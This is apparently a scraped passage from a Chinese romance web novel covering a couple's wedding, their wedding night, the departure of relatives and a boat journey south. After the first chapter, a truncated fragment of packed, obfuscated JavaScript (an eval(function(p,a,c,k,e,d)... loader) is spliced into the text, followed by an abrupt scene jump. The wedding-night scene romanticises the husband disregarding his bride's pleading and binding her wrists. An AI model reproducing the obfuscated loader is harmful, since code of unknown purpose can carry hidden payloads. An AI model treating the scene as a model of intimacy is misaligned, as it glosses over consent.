簪在发间的金钗流苏发出细微的一点声响。叶清圆偷眼去瞧谢尽芜,见他眼瞳乌黑,耳尖微红,唇边也是压不住的笑意。 白璟大喇喇地笑道:“哥,笑得好开心啊!” 人群里也传来笑声,满满的祝福之意。 他们手搭着手,走过热闹的百姓,走过欢笑的亲人、好友。朝着端坐在上首神情温和的双方长辈,行礼,拜堂。 一路走来,鲜花满地。 众人拍手贺喜,二人走到了房内。大红绸缎,红烛红帐,入目皆是红。端坐在铺满红枣花生桂圆的百子帐内,在一众人期待的目光中喝过合卺酒,这才放松下来。 看热闹的人领了喜糖,都退出去了。 谢尽芜也得去前厅,那边还有酒宴等着他。临走时,他担心叶清圆饿着,便着意吩咐了小厨房备好饭菜,准点送来。 虽说不合规矩,可他一向认为清圆的感受凌驾于规则之上,因而吩咐时也很是坦然。 就是那小厨房的人听见这要求,倒是惊讶得张大了嘴巴。等谢尽芜又吩咐一遍,才缓过神来,忙不迭地点头。 趁人少,小厨房的人便凑在一块轻声笑:“没见过这样疼人的。” “是位好姑爷。” 房内,谢尽芜轻声对叶清圆道:“委屈你在这里等一会儿,我很快就回来。” 叶清圆挑着眉笑:“快得了吗?” 前厅来了好多人,他未必能应付过来。 她今日妆浓,更衬得一张绣面风华无双。谢尽芜眼中暗潮汹涌,却克制地只握了握她的手,轻声道:“放心,等我回来。” “好。” 谢尽芜走到一半,又忍不住回身看她。见她一双明眸含笑,谢尽芜又说了一次:“我真的走了。” 叶清圆笑嘻嘻道:“我等你呀。” 他被她看得心里发痒,折身回去,终究是没忍住在她唇上吻了一下,这才离开。 这次是真的走了。 虽然还是满心的不舍得。 叶清圆等了很久,窗外暮色四合,屋内明光流淌。她有些饿了,便从被褥挑了颗红枣吃。 刚咽下去,恰好小厨房偷偷送来饭食。掀开一看,是红糖饼和母鸡汤,还有两只柑橘。 母鸡汤是拿枸杞和火腿丝炖的,鲜香无比。小厨房的人压低声音,像是在说悄悄话:“小姐,这鸡汤是姑爷特意吩咐叫炖的,炖了好久呢,小姐趁热喝!” 叶清圆笑着接过来,摆在桌上大快朵颐。 没过一会儿,小厨房的人又来把餐具收走。叶清圆有些发撑,对着镜子重新涂了口脂,就这么穿着一身喜服,在闺房里慢悠悠地散步消食。 天底下或许没有比她更随性、更蔑视规矩的新娘子了。 又等了好久,走廊才传来一阵不甚平稳的步伐声。 谢尽芜推门进来,就见他的夫人端坐在床榻边,红妆明艳、眉目含笑地望着他。 叶清圆歪着脑袋,挑眉笑道:“喝醉了?” 发间的鸳鸯小簪和碎金流苏随动作晃出轻响。 谢尽芜在她身边坐下,轻声道:“还好。” 叶清圆凑近他,嗅了嗅,“酒气不太重。” 谢尽芜的神思实则很清明。人与人之间,体谅是互相的。他以诚相待,礼数周全,来贺的诸位亲朋也有分寸,酒席间不曾出现劝酒的情况。 他垂睫一刻不转地看着她,忽然觉得她方才拱起鼻子闻酒味的样子,很像某种小动物,可爱。 “晚膳用过了吗?”谢尽芜轻声问。 叶清圆颔首道:“嗯,但是柑橘还没吃,不想剥。” 谢尽芜轻笑,起身将柑橘拿了过来,动手给她剥开。先尝了一瓣,是甜的。于是两人你一瓣我一瓣地分吃完,都觉得清爽许多。 恍惚又像是回到了许家庄的那个冬天,她盖着薄毯懒洋洋地在暖炉旁看书,他就在她旁边给她剥橘子,指腹时不时抚过她的唇瓣。 一切都未曾变过。 橘皮搁在桌上,散发出清淡的甜香。 叶清圆抬手摘发簪,精致小巧的金饰点缀在她发间,像是闪着一簇簇的光。谢尽芜洗过手去帮她,动作轻柔地,满怀珍惜,于是那瀑布似的长发散开,一直垂到腰际。 “是不是很重?”谢尽芜给她揉了揉肩颈。 叶清圆很享受地眯起眼:“是啊,脖子都有点酸了。但是我很喜欢。” 她转过身,红润的唇瓣扯起笑容:“夫君。” “娘子。”谢尽芜也轻声唤她。 外头天色全黑下来,院子也静。 方才谢尽芜来时已经遣去了侍奉的丫鬟,寂静的夜里唯有偶尔虫鸣。 叶清圆依偎进他的怀中,双颊微红,眼睛好亮。 谢尽芜以为她在酝酿什么话,正要洗耳恭听,却听她憋不住笑似的,脱口而出:“喝酒之后,是不是就不太行了?” 谢尽芜眨眼:“嗯?” 瞬间反应过来。 可她已经如一尾游鱼般逃出了他的怀抱。 谢尽芜站在原地,唇角笑意还未散去,可是眉宇间隐隐有无奈。 叶清圆笑出声来,趴在床榻上,肩膀都在细细颤抖着。 她偷眼看他,眼中满是故意的、狡黠的笑。 谢尽捏了捏眉心,吹灭屋中过亮的红烛,只留床榻前昏沉的一支。而后走过去,掌心按在叶清圆的肩头,将她掰过来,与自己四目相对。 叶清圆尚未意识到事情的严重性,不怕死地笑道:“酒后会比较放松的嘛,没关系,我体谅你呀……” 谢尽芜听得手背青筋直跳,他闭上眼用力捏了捏眉心,也没能将浑身的火气压下去半分。 他伸手将大红的帘帐放下来,笼罩住这一方小天地。像是一个小小的红色囚笼,锁住她,叫她无处可逃。 “夫君,”叶清圆挣扎直起身,大红的喜服,乌黑的长发,柔嫩微红的小脸,明艳得叫他移不开眼。 两人身体相贴。她察觉到他身体的变化,笑意有些僵硬。 谢尽芜眯起眼,眼神变得深沉而危险,声音低低的:“你放松些。” ——我喝过酒之后很放松了,现在是你放松些。 叶清圆动都没敢动,只觉被硌得不太舒服,这叫她怎么放松。 谢尽芜一只手钳住她的下巴,指腹将她脸颊的肉都捏得鼓起。他伸长手臂从枕头下一捞,却是取来一条系着小铃铛的银链。 “你……” 叶清圆察觉到他隐隐的怒意,又不知他拿铃铛干什么,顿时瞪大了眼。 谢尽芜俯身吻她,同时低声道:“是喝得有些醉了。所以,待会不管我做出什么过分的事,还请娘子多担待。” 叶清圆是第一次看到谢尽芜的这一面。 从前这种事虽频繁了些,可他终究还算体贴,耳畔的声音轻柔,是在温柔地哄着她。她也求饶过、啜泣过,但也并非不愿。或许谢尽芜也是敏锐地察觉到这一点,所以始终把持着一个度,隐忍、克制,却从不舍得真叫她难以承受。 可今夜的谢尽芜,却是叫她觉得陌生了。 那只系了小铃铛的银链绑在她的足腕上,细细光泽衬着她的肌肤。她稍微一动,清脆的叮铃铃声就响起,叶清圆觉得这实在羞耻。 可是谢尽芜仿佛很喜欢这样,指腹用力抚着她的脚踝和脚背。他手劲本来就大,此时失了控制,便轻易地留下一串红痕。 红烛燃烧,床榻晃动,那清脆的声音就响起。 叶清圆羞得红了脸,将脸埋在枕头,闭上眼。又被谢尽芜捏着下巴转回来,气息微乱道:“看着我。” 他的掌心和指腹略显粗糙,抚在她的脸颊,揉了两把,又慢慢向下游移。 …… 到了后半夜,那叮铃铃的声响就没停过。叶清圆神思昏聩,被他抱起来,坐在他怀中,垂睫勉力适应了一会儿,攒足力气,才忿忿地攀住他的脖颈,在他颈侧狠狠咬了一口,全当泄愤。 谢尽芜的喉间发出一声闷哼,由着她咬,只是往别处不住使力,待她松口,却又低低地开了口。 “抱歉。”他吻去她眼尾的湿润,不甚平稳的气声带着笑,“……宝宝。” 叶清圆缩着肩膀,被他撞得耳中轰鸣,根本没听清他在说什么,只觉他的气息如拂耳的春风,扰得她半边身子都酥酥的痒。 她抓着他的肩头求饶,还下意识地去推他的脸和肩膀,眼泪都逼了出来。谢尽芜不做理会,好无情,甚至心存旖旎地偏过头,去吻她的手腕,然后垂着眼看了一会儿,随手抓了什么东西,将她的两只手腕都绑起来。 叶清圆泪眼模糊地辨了一眼,顿时如遭雷劈。 那竟是她的藕粉色肚.兜,系带还垂着,缠缠绕绕,拂在她的手臂。 在这样一个新婚的夜晚,她终于意识到了,谢尽芜就是个无耻的混蛋。 - 翌日,晌午。 叶清圆还未醒。 谢尽芜浇完花还过来看了看她,见她睡得正香,脸颊都红扑扑的。 他坐在榻边看了一会儿,摸她的额头,指腹又沿着鼻梁滑下去,亲昵地捏了捏她的脸颊,是爱不释手的样子。 叶清圆被他弄醒,烦得要命,眼睛都没睁开,偏头就在他手指用力咬了一口。 谢尽芜没抽手,任她咬着。这微微的刺痛让他的心情愉悦至极,低头和她碰了碰鼻尖,笑起来:“清圆是小狗吗?还喜欢咬人。” “你才喜欢咬人吧?” 叶清圆没好气地松了口,将被角往下拉了一点,露出脖颈胸口深深浅浅的痕迹,像是在控诉他昨晚的不体贴。 晴暖的日光透过窗子照进来,将她肌肤上的印子映照得清楚。 谢尽芜骤然红了耳尖,将被子给她盖好,羞于启齿似的偏过脸去:“对不起。” 叶清圆睁开眼,看他深黑的眼眸中略显无措,于是懒懒地打了个哈欠,小声道:“也不疼。再说,我不是也咬你了吗?扯平了。” 谢尽芜蓦地抬眸看她。 却见叶清圆一个转身,面朝里又睡过去了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我要吐啦!”“没救了,这人没救了。”“嘁!说不定他们还要笑你矫情呢。” 有人学了族中老头的语气:“胡闹,胡闹!成日里只知道谈情说爱,把家族事务都不放在心上了!哼!咳咳咳!贺儿,贺儿?老夫的茶没啦,快来给老夫倒茶!” 那名为白贺的少年笑着赞道:“学得还挺像!” 于是笑声更甚。 恰巧白夫人和江尚绵从走廊里经过,见状无奈摇头:“这有什么好比的,幼稚死了。” 江尚绵轻笑着,两人并肩去了湖边看鱼。 白子卿虽是这些人里的大哥,却一点架子都没有。他笑吟吟地将手帕取出来给大家看一眼,又哈哈笑着满足地将手帕收回袖中,宝贝得不行。 谢尽芜眉眼沉静。 他想起清圆还送过她亲手制作的手串,还缀了珍珠。 可是不想拿出来,因为是清圆送给他一个人的,别人看也不行。 白子卿在众人的欢笑打趣声中将手帕收好,又从旁边拿了一个拨浪鼓丢给谢尽芜:“不谢了。” 旁边有人道:“喂,成婚第二日,就送这些小孩子的东西?” 白子卿啧了声:“懂什么?预先准备嘛。” 谢尽芜垂眸看着拨浪鼓,晃了两下,叮咚轻响。他轻笑道:“多谢兄长。但是……” 白子卿挑眉道:“但是?” 谢尽芜笑道:“我们过几天就要去南海。” 去南海,然后慢慢北上,去洞庭湖,去泰山。看大漠孤烟,看日落长河。 这天下很大,有太多的事物与景色,他们都要经历过。 叶清圆是一个自由的人,她应该在鲜活的岁月里,去见识鲜活的人和事物,去感受万物的蓬勃与生机。 而不是被他的爱困锁在精致的宅院和山居中,做他的乖巧小鸟。 谢尽芜的心里其实早有了打算。 他不要叶清圆为了自己牺牲任何。 但他会永远陪伴在清圆身边,做她的守护者。 - 下午,白夫人就领着白氏的一帮跟班离开了。 临走之前,白子卿领着一群弟弟妹妹,专程跑到谢尽芜和叶清圆面前,闹闹嚷嚷地告了别。 同时留下许多贺礼和购买的小玩意。 白令勋还不走,他私下里偷偷和谢尽芜讲:“这里的茶太好喝了。恰好你舅母不在,没人管着我,我再待上一段时间。” 谢尽芜眨了眨眼:“……” 舅舅,不是说要寸步不离地陪伴舅母吗? 院子里花藤下又传来白令勋和叶肃下棋的声音。白令勋拍着腿无情嘲笑:“亲家公,你这一步走得也太臭了!” 叶肃摸着下巴思索,很不服:“也还好啊!” 两个年近半百的小老头整日混在一起,下棋、钓鱼,品茗。 江尚绵不管他们,只是颇觉好笑地对叶清圆说:“两个棋艺奇差之人,竟还下到一张棋盘上了。真是稀奇!” 她将三花猫抱在腿上,有一搭没一搭地抚摸着。 橘猫则是懒洋洋地瘫在门外廊下,晒太阳,睡得安详,跟驾鹤西去了一样。 这正是无事山居的那两只猫。叶清圆担心它们吃不好,便也一路抱了过来,还能给江尚绵解闷。 叶清圆拈着花枝逗猫,笑吟吟道:“爹爹的棋艺很差吗?” “差得要命。”江尚绵压低声音,“否则你以为,你爹为何只与亲家公下棋,而不和姑爷下呢?” 谢尽芜本来俯身修剪枝叶,突然被点名,不由站直了身体,很是乖巧地看过来。 叶清圆冲他摆手,示意道:没你的事儿。 谢尽芜无声眨眼,表示知道了。随后又俯身,继续修剪花草。 江尚绵没注意到他俩的小动作,只摇头道:“因为亲家公的棋艺和你爹爹一样差!” 所以是两个臭棋篓子,谁也不觉得谁差,反而下得有滋有味。 叶清圆忍不住笑。 婚后的第六日,白令勋终于被白夫人揪着耳朵带走了。 当然,临走时还不忘顺走了叶肃珍藏多年的普洱茶饼。 叶肃很是心痛,还有些不舍,与白令勋约定:“有时间一定要来找我下棋啊!” 转头又和江尚绵说:“白家主的棋风很是对我胃口啊。” 江尚绵一脸无奈,不想理他。 热闹如潮水退去,叶家宅院重归安静。 江尚绵被这帮朝气蓬勃的子弟们闹腾了许久,难得也沾染了几分鲜活气。 她不急着回山里清修,叶肃于是给她请了镇子里最有名的医师来照看,给她好好将养身子。 这夫妻两人分别了十几年,如今竟有重修于好的势头。 又过几天,叶清圆便在宅院里待不住了。她和谢尽芜告别众人,离开初阳镇。 他们一路向南,途中骑马又坐船。 这一日也不知游荡到了何处,乌篷船慢悠悠地晃在河面上,远处有卖莲蓬的姑娘在唱歌。 船身微晃,叶清圆依偎在谢尽芜的怀里,听岸边柳树枝扫过乌篷船顶,发出沙沙的声音。 她的手被他握住,十指相扣,轻哼着歌。明媚的日光照在河面,又微波荡漾地点缀在她秀润的眉眼间。 谢尽芜听得轻笑,低头在她眉角吻了一下。 他的目光就没离开过叶清圆,仿佛永远都看不够似的,怎么看怎么喜欢。 “给我做个新的音乐盒吧。”叶清圆突然直起身,瞳光闪烁着说,“就方才我哼的那个调子,好不好?” “好。”谢尽芜的目光也追随她抬起,“那你再唱一次,方才的调子我忘记了。” 叶清圆于是又唱了一遍。她嗓音清脆柔美,欢快的乐声如光点跳跃。 谢尽芜的眸光柔和,摸了摸她的头发,又去牵她的手,十指相扣。 岸边卖莲蓬的小姑娘听到她的歌声,便扬起脸笑,扬声一起唱起来,轻快清丽的采莲曲调与她相和。虽是完全不同的两种调子,却也奇异地融合得很和谐。 小船渐渐离开,那卖莲蓬的姑娘与她玩得开心,俯身从竹筐里挑拣一番,扬手一扔,“姑娘,接好了!” 叶清圆接过来一看,是嫩绿的莲蓬和两支莲花。 她笑道:“多谢!” 转身又看谢尽芜:“记住了吗?很简单的!” 谢尽芜一瞬不转地看着她:“有两个地方没听清,再唱一遍吧。” “那好吧。” 夫君笨笨的,怎么办? 叶清圆没多想,又歪倒在他怀里细细地哼。她其实有些五音不全,也没在乎谢尽芜是否记住,反倒把自己给唱高兴了,眉眼都染上笑意。 过了一会儿,她才迟钝地反应过来:“……你是不是就想让我唱歌给你听?” 谢尽芜坦然承认,笑道:“很好听。” 叶清圆挑眉,劲劲儿地又跟他闹起来:“那你今晚就要给我做音乐盒。不对!你要先唱歌给我听,唱十首,然后再做音乐盒!” “可是我不知道怎么唱。不如这样,你再唱一遍给我听,说不准这次我就记住了呢……” “你耍赖呀!” 两道影子斜斜拖在铺满碎光的河面,笑声清脆、温柔,逐渐远去。